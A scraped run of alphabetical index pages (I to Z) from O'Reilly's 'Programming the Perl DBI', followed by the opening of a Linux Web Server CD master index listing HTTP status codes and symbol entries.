Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: I

IBPerl module: B. Driver and Database Characteristics
IN comparison operator: 3.3.2. Queries and Condition Clauses
InactiveDestroy attribute: A.5. Attributes Common to All Handles
Informix (see DBD\\Informix driver)
Ingres (see DBD\\Ingres driver)
INSERT SQL statement: 3.4.1. Inserting Data
3.4.1.1. Using INSERT for data transfers
INTEGER numeric datatype: 3.2. Datatypes and NULL Values
InterBase (see DBD\\InterBase driver)
interface rules, DBI: A.2.4. General Interface Rules and Caveats
interpolated
hash lookup: 6.1. Handle Attributes and Metadata
SQL statements: 5.3.1. Bind Values Versus Interpolated Statements

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: J

join(): 2.5.1. The Perl Data::Dumper Module
storing data in DBM files: 2.7.3.1. Localized storage and retrieval
joins
outer: 3.3.3. Queries over Multiple Tables
relational databases: 3.1. The Relational Database Methodology

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: K

key/value pairs
DBM files: 2.7. DBM Files and the BerkeleyDatabase Manager
2.7.3. Inserting and Retrieving Values
handle attribute values: 6.1. Handle Attributes and Metadata
Kids attribute: 5.1.5. Deallocating Statement Handles
A.5. Attributes Common to All Handles

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: L

layers (storage managers): 2.1. Storage Managers and Layers
LIKE comparison operator: 3.3.2. Queries and Condition Clauses
LOB (large object) datatype: 6.2. Handling LONG/LOB Data
logging ) (see trace()
logical operators: 3.3.2. Queries and Condition Clauses
precedence: 3.3.2. Queries and Condition Clauses
LONG datatype: 6.1.4. Common Attributes
6.2. Handling LONG/LOB Data
long values, truncating: 6.1.4. Common Attributes
6.2. Handling LONG/LOB Data
LongReadLen attribute: 6.1.4. Common Attributes
A.5. Attributes Common to All Handles
LOB data and: 6.2. Handling LONG/LOB Data
RaiseError and: 6.2. Handling LONG/LOB Data
LongTruncOk attribute: 6.1.4. Common Attributes
A.5. Attributes Common to All Handles
LOB data and: 6.2. Handling LONG/LOB Data
RaiseError and: 6.1.4. Common Attributes
looks_like_number() function: 4.6.4. Numeric Testing
A.3.2. DBI Utility Functions
lowercase attribute names: 6.1.3. The Significance of Case

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: M

mailing list, dbi-users: A.9.4. Mailing List
metadata
database: 6.1.6. Database Metadata
functions, ODBC: 7.3.3. Rich Metadata
statement: 6.1.7. Statement Handle Attributes or Statement Metadata
methods
accessor: 2.7.3.3. Object accessor methods
available_drivers(): 4.3. Data Source Names
A.3.1. DBI Class Methods
bind_col(): 5.4. Binding Output Columns
A.7.1.1. Datatypes for placeholders
bind_columns(): 5.4. Binding Output Columns
A.7.1.1. Datatypes for placeholders
bind_param(): 5.3. Binding Parameters to Statements
5.3.3. Binding Input and Output Parameters
6.2.1. Inserting and Updating LONG/LOB Columns
A.7.1. Statement Handle Methods
bind_param_inout(): 5.3.3. Binding Input and Output Parameters
A.7.1.1. Datatypes for placeholders
cancel(): A.8.2. Signal Handling and Canceling Operations
commit(): 4.4.2. Disconnection
6.3.1. Automatic Transaction Handling
A.6.1. Database Handle Methods
connect(): 4.2.1. Driver Handles
4.3. Data Source Names
4.4.1. Connection
4.5.1.1. Manual error checking
6.1.2. Connecting with Attributes
8.2.1.2. Connecting to the proxy server
A.3.1. DBI Class Methods
connect_cached(): A.3.1. DBI Class Methods
data_sources(): 4.2.1. Driver Handles
4.3. Data Source Names
A.3.1. DBI Class Methods
die(): 4.5.1. Automatic Versus Manual Error Checking
5.1.2. Executing Select Statements
5.1.4. Finishing a Data Fetch Early
6.1.4. Common Attributes
disconnect(): 4.4.2. Disconnection
5.1.4. Finishing a Data Fetch Early
6.3.4. Disconnecting, One Way or Another
A.6.1. Database Handle Methods
do(): 5.2. Executing Non-SELECT Statements
5.5. do( ) Versus prepare( )
A.6.1. Database Handle Methods
dump_results(): 5.1.3.1. A quick way to fetch and print
A.7.1.1. Datatypes for placeholders
error diagnostic: 4.5.2. Error Diagnostics
eval(): 2.5.1. The Perl Data::Dumper Module
execute(): 5.1.1. Preparing SQL Statements
5.3.4. Binding Values Without bind_ param( )
A.7.1.1. Datatypes for placeholders
fd(): 2.7.2. Locking Strategies
fetch(): 5.4. Binding Output Columns
fetchall_arrayref(): 5.6.2. Batch Fetching
A.7.1.1. Datatypes for placeholders
fetchrow_array(): 5.1.3. Fetching Data
6.2. Handling LONG/LOB Data
7.4.2. Win32::ODBC
A.7.1.1. Datatypes for placeholders
fetchrow_arrayref(): 5.1.3. Fetching Data
A.7.1.1. Datatypes for placeholders
fetchrow_hashref(): 5.1.3. Fetching Data
7.4.2. Win32::ODBC
A.7.1.1. Datatypes for placeholders
finish(): 5.1.4. Finishing a Data Fetch Early
A.7.1.1. Datatypes for placeholders
flock(): 2.6. Concurrent Database Access and Locking
2.7.2. Locking Strategies
freeze(): 2.5.2. The Storable Module
get_dup(): 2.7.3.5. Chaining multiple values into a hash
join(): 2.5.1. The Perl Data::Dumper Module
2.7.3.1. Localized storage and retrieval
nfreeze(): 2.5.2. The Storable Module
pack(): 2.5.1. The Perl Data::Dumper Module
2.7.3.1. Localized storage and retrieval
2.7.3.2. Packing in Perl objects
ping(): A.6.1. Database Handle Methods
prepare(): 4.6.2. Tracing DBI Execution
5.1.1. Preparing SQL Statements
A.6.1. Database Handle Methods
prepare_cached(): A.6.1. Database Handle Methods
quote(): 4.6.1. Database-Specific Quote Handling
4.6.4. Numeric Testing
5.2. Executing Non-SELECT Statements
A.6.1. Database Handle Methods
rollback(): 4.4.2. Disconnection
6.3.3. Rolling Back Changes
A.6.1. Database Handle Methods
rows(): A.7.1.1. Datatypes for placeholders
selectall_arrayref(): 5.6.2. Batch Fetching
A.6.1. Database Handle Methods
selectcol_arrayref(): A.6.1. Database Handle Methods
selectrow_array(): 5.6.1. Atomic Fetching
A.6.1. Database Handle Methods
selectrow_arrayref(): 5.6.1. Atomic Fetching
seq(): 2.7.3.5. Chaining multiple values into a hash
split(): 2.4.1. Querying Data
2.5.1. The Perl Data::Dumper Module
table_info(): 6.1.6. Database Metadata
A.6.1. Database Handle Methods
tables(): 6.1.6. Database Metadata
A.6.1. Database Handle Methods
trace(): 4.6.2. Tracing DBI Execution
A.3.1. DBI Class Methods
type_info(): A.6.1. Database Handle Methods
type_info_all(): A.6.1. Database Handle Methods
unpack(): 2.4.1. Querying Data
2.5.1. The Perl Data::Dumper Module
2.7.3.2. Packing in Perl objects
utility: 4.6.1. Database-Specific Quote Handling
warn(): 4.5.1. Automatic Versus Manual Error Checking
5.1.2. Executing Select Statements
6.1.4. Common Attributes
MLDBM module: 2.8. The MLDBM Module
mSQL (see DBD\\mysql driver)
mysql (see DBD\\mysql driver)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: N

Name database handle attribute: 6.1.5. Database Handle Attributes
A.6.2.3. Databases in which a transaction must be explicitly started
NAME statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes
NAME_lc statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes
NAME_uc statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes
naming conventions, DBI: A.2.5. Naming Conventions and Name Space
ndbm database manager: 2.7. DBM Files and the BerkeleyDatabase Manager
NDBM_File module: 2.7. DBM Files and the BerkeleyDatabase Manager
neat() function: 4.6.3. Neat and Tidy Formatting
A.3.2. DBI Utility Functions
neat_list() function: 4.6.3. Neat and Tidy Formatting
5.1.3.1. A quick way to fetch and print
A.3.2. DBI Utility Functions
nfreeze(): 2.5.2. The Storable Module
NOT logical operator: 3.3.2. Queries and Condition Clauses
NULL values: 3.2. Datatypes and NULL Values
4.6.1. Database-Specific Quote Handling
A.2.7.1. Null values
NULLABLE statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes
NUMBER numeric datatype: 3.2. Datatypes and NULL Values
numeric testing: 4.6.4. Numeric Testing
NUM_OF_FIELDS statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes
NUM_OF_PARAMS statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: O

ODBC (see DBD\\ODBC driver)
ODBC driver manager: 7. ODBC and the DBI
B. Driver and Database Characteristics
ODBC drivers
implementing SQL: 7.3.1. A Standard SQL Syntax
working with DBD::ODBC module: B. Driver and Database Characteristics
ODBC (Open Database Connectivity): 7. ODBC and the DBI
attributes and options: 7.3.4. Many Attributes and Options
combining with DBI: 7.5. The Marriage of DBI and ODBC
error codes: 7.3.2. Standard Error Codes
main features: 7.3.1. A Standard SQL Syntax
metadata functions: 7.3.3. Rich Metadata
using from Perl: 7.4. ODBC from Perl
using standard SQL: 7.3.1. A Standard SQL Syntax
odbm database manager: 2.7. DBM Files and the BerkeleyDatabase Manager
ODBM_File module: 2.7. DBM Files and the BerkeleyDatabase Manager
O_EXLOCK flag: 2.7.2. Locking Strategies
ops pragma: 2.5.1. The Perl Data::Dumper Module
OR logical operator: 3.3.2. Queries and Condition Clauses
Oracle (see DBD\\Oracle driver)
ORDER BY clause: 3.3.4.1. Ordering data
outer joins: 3.3.3. Queries over Multiple Tables
output columns, binding Perl variables: 5.4. Binding Output Columns

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: P

$password argument: A.3.1. DBI Class Methods
.pm files: 4.3. Data Source Names
pack(): 2.5.1. The Perl Data::Dumper Module
Perl objects and: 2.7.3.2. Packing in Perl objects
storing data in DBM files: 2.7.3.1. Localized storage and retrieval
parameters (see bind values)
Perl: 1.2. Perl
ActiveState version: B.1. Acquiring the DBI and Drivers
using ADO: 7.8. And What About ADO?
binding variables to output columns: 5.4. Binding Output Columns
database proxying: 8.2. Database Proxying
datatypes, retrieving data using: 5.1.3. Fetching Data
DBD::ODBC and ODBC: 7.4. ODBC from Perl
DBI shell program (dbish): 8.1. dbish--The DBI Shell
delete operator: 2.7.4. Deleting Values
garbage collector: 5.1.5. Deallocating Statement Handles
modules, extending functionality of: 1.2. Perl
Net::Daemon module: 8.2.1.1. Setting up a proxy server
8.2.2. Advanced Topics
PIRPC module: 8.2.1.1. Setting up a proxy server
8.2.2. Advanced Topics
signal handling: A.8.2. Signal Handling and Canceling Operations
string-handling capabilities: 5.1.1.1. Constructing "on-the-fly" statements
5.3.1. Bind Values Versus Interpolated Statements
using threads: A.8.1. Threads and Thread Safety
web links: A.9.5. Assorted Related WWW Links
Win32::ODBC and ODBC: 7.4. ODBC from Perl
Perl Database Interface (see DBI)
perldoc DBI command: A. DBI Specification
Pg (see DBD\\Pg driver)
ping(): A.6.1. Database Handle Methods
placeholders (see bind values)
PostgresSQL (see DBD\\Pg driver)
PPM (Perl Package Manager): 2.7. DBM Files and the BerkeleyDatabase Manager
8.2.1.1. Setting up a proxy server
B.1. Acquiring the DBI and Drivers
PRECISION statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes
prepare(): 5.1.1. Preparing SQL Statements
A.6.1. Database Handle Methods
execute() and: 5.1.1. Preparing SQL Statements
tracing DBI execution: 4.6.2. Tracing DBI Execution
vs. do(): 5.5. do( ) Versus prepare( )
prepare_cached(): A.6.1. Database Handle Methods
primary keys: 2.7.3.5. Chaining multiple values into a hash
3.3.3. Queries over Multiple Tables
PrintError attribute: 6.1.4. Common Attributes
A.5. Attributes Common to All Handles
connect() and: 4.4.1. Connection
A.3.1. DBI Class Methods
error checking: 4.5.1.1. Manual error checking
executing SELECT statements: 5.1.2. Executing Select Statements
tracing DBI execution: 4.6.2. Tracing DBI Execution
private_* attributes: A.5. Attributes Common to All Handles
programming languages
databases, writing in: 1.1. From Mainframes to Workstations
Perl: 1.2. Perl
proxy servers: 8.2. Database Proxying
compression: 8.2.2.2. Compression
configuration files: 8.2.2. Advanced Topics
configuring: 8.2.2.3. Ciphers
connecting to: 8.2.1.2. Connecting to the proxy server
data encryption: 8.2.2.3. Ciphers
setting up: 8.2.1.1. Setting up a proxy server

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: Q

query execution plan: 5.3.1. Bind Values Versus Interpolated Statements
query languages, data functions: 2.2. Query Languages and Data Functions
quote(): 4.6.1. Database-Specific Quote Handling
A.6.1. Database Handle Methods
and do(): 5.2. Executing Non-SELECT Statements
looks_like_number function() and: 4.6.4. Numeric Testing

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: R

race conditions: 2.6. Concurrent Database Access and Locking
RaiseError attribute: 6.1.4. Common Attributes
A.5. Attributes Common to All Handles
connect() and: 4.4.1. Connection
A.3.1. DBI Class Methods
data fetch, finishing early: 5.1.4. Finishing a Data Fetch Early
error checking: 4.5.1.1. Manual error checking
executing SELECT statements: 5.1.2. Executing Select Statements
LONG/LOB data and: 6.2. Handling LONG/LOB Data
transaction handling: 6.3.5. Combining Automatic Error Handling with Transactions
RDBMS (Relational Database Management Systems): 2. Basic Non-DBI Databases
read-only databases: 3.4. Modifying Data Within Tables
REAL numeric datatype: 3.2. Datatypes and NULL Values
references to bind values: 5.3.3. Binding Input and Output Parameters
referential hashes: 2.7.3.4. Querying limitations of DBM files and hashtables
Relational Database Management Systems (see RDBMS)
relational databases: 3.1. The Relational Database Methodology
Remarks field: 6.1.6. Database Metadata
resources for further reading: 0.1. Resources
result sets: 5.1.3. Fetching Data
rollback(): 4.4.2. Disconnection
A.6.1. Database Handle Methods
transaction handling: 6.3.3. Rolling Back Changes
rollback capability: 3.4.4. Committing and Rolling Back Modifications
rolling back data: 6.3. Transactions, Locking, and Isolation
RowCacheSize database handle attribute: A.6.2.3. Databases in which a transaction must be explicitly started
RowInCache statement handle attribute: A.7.2. Statement Handle Attributes
rows(): A.7.1.1. Datatypes for placeholders
RPC::PlClient module: 8.2.2.3. Ciphers
RPC::PlServer module: 8.2.2.3. Ciphers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: S

$SIG{_ _DIE_ _} signal handler: 4.5.1.2. Automatic error checking
6.1.4. Common Attributes
$SIG{_ _WARN_ _} signal handler: 4.5.1.2. Automatic error checking
6.1.4. Common Attributes
$sth statement handle: 4.2.3. Statement Handles
5.1.5. Deallocating Statement Handles
sacred sites, charter: C. ASLaN Sacred Site Charter
SCALE statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes
schemas: 3.1. The Relational Database Methodology
6.1.6. Database Metadata
sdbm database manager: 2.7. DBM Files and the BerkeleyDatabase Manager
SDBM_File module: 2.7. DBM Files and the BerkeleyDatabase Manager
SearchServer (see DBD\\SearchServer driver)
security
cipher mechanism and: 8.2.2.3. Ciphers
Taint attribute and: A.5. Attributes Common to All Handles
SELECT SQL statement: 3.3. Querying Data
5.1. Issuing Simple Queries
active statement handles: 5.1.4. Finishing a Data Fetch Early
dbish and: 8.1.2. Handling Statements
executing: 5.1.2. Executing Select Statements
fetching data: 5.1.3. Fetching Data
selectall_arrayref(): 5.6.2. Batch Fetching
A.6.1. Database Handle Methods
selectcol_arrayref(): A.6.1. Database Handle Methods
selectrow_array(): 5.6.1. Atomic Fetching
A.6.1. Database Handle Methods
selectrow_arrayref(): 5.6.1. Atomic Fetching
seq(): 2.7.3.5. Chaining multiple values into a hash
Shared SQL Cache: 5.3.1. Bind Values Versus Interpolated Statements
signal handling in Perl: A.8.2. Signal Handling and Canceling Operations
significant digits: 6.1.7. Statement Handle Attributes or Statement Metadata
split(): 2.4.1. Querying Data
2.5.1. The Perl Data::Dumper Module
Sql(): 7.4.2. Win32::ODBC
SQL Access Group: 7.1. ODBC--Embraced and Extended
SQL datatypes (see datatypes)
SQL-level portability: 7.3.1. A Standard SQL Syntax
SQL queries: 3.3. Querying Data
aliasing table names: 3.3.3. Queries over Multiple Tables
condition clauses: 3.3.2. Queries and Condition Clauses
joining tables: 3.3.3. Queries over Multiple Tables
narrowing searches: 3.3.2. Queries and Condition Clauses
outer joins: 3.3.3. Queries over Multiple Tables
primary keys and foreign keys: 3.3.3. Queries over Multiple Tables
rows, retrieving: 3.3.1. Simple Queries
simple queries: 3.3.1. Simple Queries
SQL statements
binding parameters to: 5.3. Binding Parameters to Statements
building dynamically: 6.1.6. Database Metadata
custom-built: 5.1.1.1. Constructing "on-the-fly" statements
dbish and: 8.1.2. Handling Statements
DELETE: 3.4.2. Deleting Data
DESC: 3.3.4.1. Ordering data
executing: 5.1.2. Executing Select Statements
INSERT: 3.4.1. Inserting Data
interpolated: 5.3.1. Bind Values Versus Interpolated Statements
preparing: 5.1.1. Preparing SQL Statements
SELECT: 3.3. Querying Data
5.1. Issuing Simple Queries
5.1.2. Executing Select Statements
5.1.3. Fetching Data
transaction handling (see transaction handling)
TRUNCATE TABLE: 3.4.2. Deleting Data
UPDATE: 3.4.3. Updating Data
WHERE: 3.3.2. Queries and Condition Clauses
SQL syntax, standardized: 7.3.1. A Standard SQL Syntax
SQLSTATE error indicator: 7.3.2. Standard Error Codes
standard drivers: 4.3. Data Source Names
statement buffer: 8.1.2. Handling Statements
statement handles: 4.2.3. Statement Handles
active: 5.1.4. Finishing a Data Fetch Early
attributes: 6.1.7. Statement Handle Attributes or Statement Metadata
connecting with: 6.1.2. Connecting with Attributes
driver-specific: 6.1. Handle Attributes and Metadata
6.1.3. The Significance of Case
error checking: 6.1.4. Common Attributes
formatting and displaying data: 6.1.7. Statement Handle Attributes or Statement Metadata
getting or setting values: 6.1. Handle Attributes and Metadata
passing to DBI methods: 6.1.1. Passing Attributes to DBI Methods
batch fetching and: 5.6.2. Batch Fetching
creating via DBI: 5.1.1. Preparing SQL Statements
deallocating: 5.1.5. Deallocating Statement Handles
improving performance with prepare() and execute(): 5.5. do( ) Versus prepare( )
preparing from an SQL statement: 5.1.1. Preparing SQL Statements
$sth: 4.2.3. Statement Handles
5.1.5. Deallocating Statement Handles
statement metadata: 6.1.7. Statement Handle Attributes or Statement Metadata
Statement statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes
Storable module: 2. Basic Non-DBI Databases
2.5.2. The Storable Module
storage managers: 2.1. Storage Managers and Layers
MLDBM module: 2.8. The MLDBM Module
strings
formatting: 4.6.3. Neat and Tidy Formatting
packing values into: 2.7.3.2. Packing in Perl objects
Perl, processing of: 1.2. Perl
5.1.1.1. Constructing "on-the-fly" statements
5.3.1. Bind Values Versus Interpolated Statements
support: A.14. Support/ Warranty
dbi-users mailing list: A.9.4. Mailing List
Sybase (see DBD\\Sybase driver)
system catalogs: 6.1.6. Database Metadata

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: T

/table_info dbish command: 8.1.3. Some Miscellaneous dbish Commands
table information, extracting: 6.1.7. Statement Handle Attributes or Statement Metadata
table_info(): 6.1.6. Database Metadata
A.6.1. Database Handle Methods
TABLE_NAME field: 6.1.6. Database Metadata
TABLE_OWNER field: 6.1.6. Database Metadata
TABLE_QUALIFIER field: 6.1.6. Database Metadata
tables(): 6.1.6. Database Metadata
A.6.1. Database Handle Methods
TABLE_TYPE field: 6.1.6. Database Metadata
Taint attribute: A.5. Attributes Common to All Handles
Term::Readline module: 8.1.3. Some Miscellaneous dbish Commands
Term::Readline::Gnu module: 8.1.3. Some Miscellaneous dbish Commands
Text::CSV_XS module: B. Driver and Database Characteristics
threads, Perl and: A.8.1. Threads and Thread Safety
three-valued logic tables: 3.2. Datatypes and NULL Values
tie mechanism
initializing Berkeley databases: 2.7.1. Creating a New Database
O_EXLOCK flag: 2.7.2. Locking Strategies
tied array: 2.7.3. Inserting and Retrieving Values
tied hash: 2.7.3. Inserting and Retrieving Values
Tk (GUI development toolkit): 1.2. Perl
trace(): 4.6.2. Tracing DBI Execution
A.3.1. DBI Class Methods
argument forms: 4.6.2. Tracing DBI Execution
handle tracing: 4.6.2. Tracing DBI Execution
training: A.15. Training
transaction handling: 6.3. Transactions, Locking, and Isolation
ACID properties: 6.3. Transactions, Locking, and Isolation
auto-commit mechanism: 6.3.1. Automatic Transaction Handling
automatic: 6.3.1. Automatic Transaction Handling
automatic error handling (example): 6.3.5. Combining Automatic Error Handling with Transactions
disconnecting from databases: 6.3.4. Disconnecting, One Way or Another
forcing a commit: 6.3.2. Forcing a Commit
rolling back changes: 6.3.3. Rolling Back Changes
types of: 6.3.1. Automatic Transaction Handling
transaction rollback capability: 3.4.4. Committing and Rolling Back Modifications
translations, of documentation: A.13. Translations
TRUNCATE TABLE SQL statement: 3.4.2. Deleting Data
truncating long values: 6.1.4. Common Attributes
6.2. Handling LONG/LOB Data
truth tables: 3.3.2. Queries and Condition Clauses
two-system commit: 6.3.5. Combining Automatic Error Handling with Transactions
TYPE statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata
A.7.2. Statement Handle Attributes
type_info(): A.6.1. Database Handle Methods
type_info_all(): A.6.1. Database Handle Methods

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: U

$username argument: A.3.1. DBI Class Methods
unpack(): 2.4.1. Querying Data
Data::Dumper module and: 2.5.1. The Perl Data::Dumper Module
Perl objects and: 2.7.3.2. Packing in Perl objects
UPDATE SQL statement: 3.4.3. Updating Data
uppercase attribute names: 6.1.3. The Significance of Case
utility functions
numeric testing: 4.6.4. Numeric Testing
string formatting: 4.6.3. Neat and Tidy Formatting
utility methods: 4.6.1. Database-Specific Quote Handling
DBI execution tracing: 4.6.2. Tracing DBI Execution
fetching and printing data: 5.1.3.1. A quick way to fetch and print
quote handling: 4.6.1. Database-Specific Quote Handling

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: V

values, packing into strings: 2.7.3.2. Packing in Perl objects
VARCHAR character datatype: 3.2. Datatypes and NULL Values
6.1.7. Statement Handle Attributes or Statement Metadata

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: W

warn(): 4.5.1. Automatic Versus Manual Error Checking
5.1.2. Executing Select Statements
automatic error checking: 4.5.1.2. Automatic error checking
used with PrintError: 6.1.4. Common Attributes
Warn attribute: A.5. Attributes Common to All Handles
warranty: A.14. Support/ Warranty
web links
DBI: A.9.5. Assorted Related WWW Links
DBI drivers: B.1. Acquiring the DBI and Drivers
Perl: A.9.5. Assorted Related WWW Links
SQL: A.2.6. SQL--A Query Language
WHERE SQL statement: 3.3.2. Queries and Condition Clauses
Win32::DBIODBC module: 7.7. Moving Between Win32::ODBC and the DBI
Win32::ODBC module
advantages: 7.4.2. Win32::ODBC
disadvantages: 7.4.2. Win32::ODBC
emulating: 7.7. Moving Between Win32::ODBC and the DBI
metadata functions: 7.3.3. Rich Metadata
vs.DBD::ODBC: 7.4.1. DBD::ODBC
Win32::OLE module, using ADO from Perl: 7.8. And What About ADO?

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: X

XBase (see DBD\\XBase driver)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: Y

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z (Programming the Perl DBI)

Programming the Perl DBISearch this book

Index: Z

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Master Index: The Linux Web Server CD

The Linux Web Server CDSearch this book

Master Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001


Index: 0

Numbers

200 OK status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
204 No Response status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
301 Moved Permanently status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
302 Found status header: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
307 Temporary Redirect status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
400 Bad Request status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
401 Unauthorized status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
403 Forbidden status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
404 Not Found status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
405 Not Allowed status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
408 Request Timed Out status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
500 Internal Server Error: 3.1.1.3. STDERR (CGI Programming with Perl)
3.3. CGI Output (CGI Programming with Perl)
5.5.1. Dying Gracefully (CGI Programming with Perl)
CGI::Carp and: 5.5.2. CGI::Carp (CGI Programming with Perl)
die function and: 15.2.4. Trap die (CGI Programming with Perl)
HTTP header printing and: 5.5.3. Error Subroutines (CGI Programming with Perl)
malformed HTTP content type headers, causing: 15.1.4. "Malformed" Header (CGI Programming with Perl)
status header: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
503 Service Unavailable: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
504 Gateway Timed Out status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
80387 math coprocessor: 3.1.1. Booting Linux (Running Linux)

Symbols

& command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
* (asterisk)
bash shell metacharacter: 7.3.2. Filename Metacharacters (Linux in a Nutshell)
symbol (quantity identifier), XML elements: 14.3. Document Type Definition (CGI Programming with Perl)
wildcard: 5.5.3. Security (MySQL & mSQL)
*/* (media types): 2.6.1. Media Type (CGI Programming with Perl)
@ prefix, escaping with backslash () character: 13.5.4. Image Processing (CGI Programming with Perl)
\ (backslash)
character escapes: 9.3. Metacharacters (Linux in a Nutshell)
double quotes in HTML, escaping with: 5.4.1. Lots of print Statements (CGI Programming with Perl)
escape character: 6.6.1. Inserts (MySQL & mSQL)
escaping @ prefix with: 13.5.4. Image Processing (CGI Programming with Perl)
escaping characters with: 10.1.4. Delimiters (CGI Programming with Perl)
exporting tab delimited data: 15.1. MySQL SQL (MySQL & mSQL)
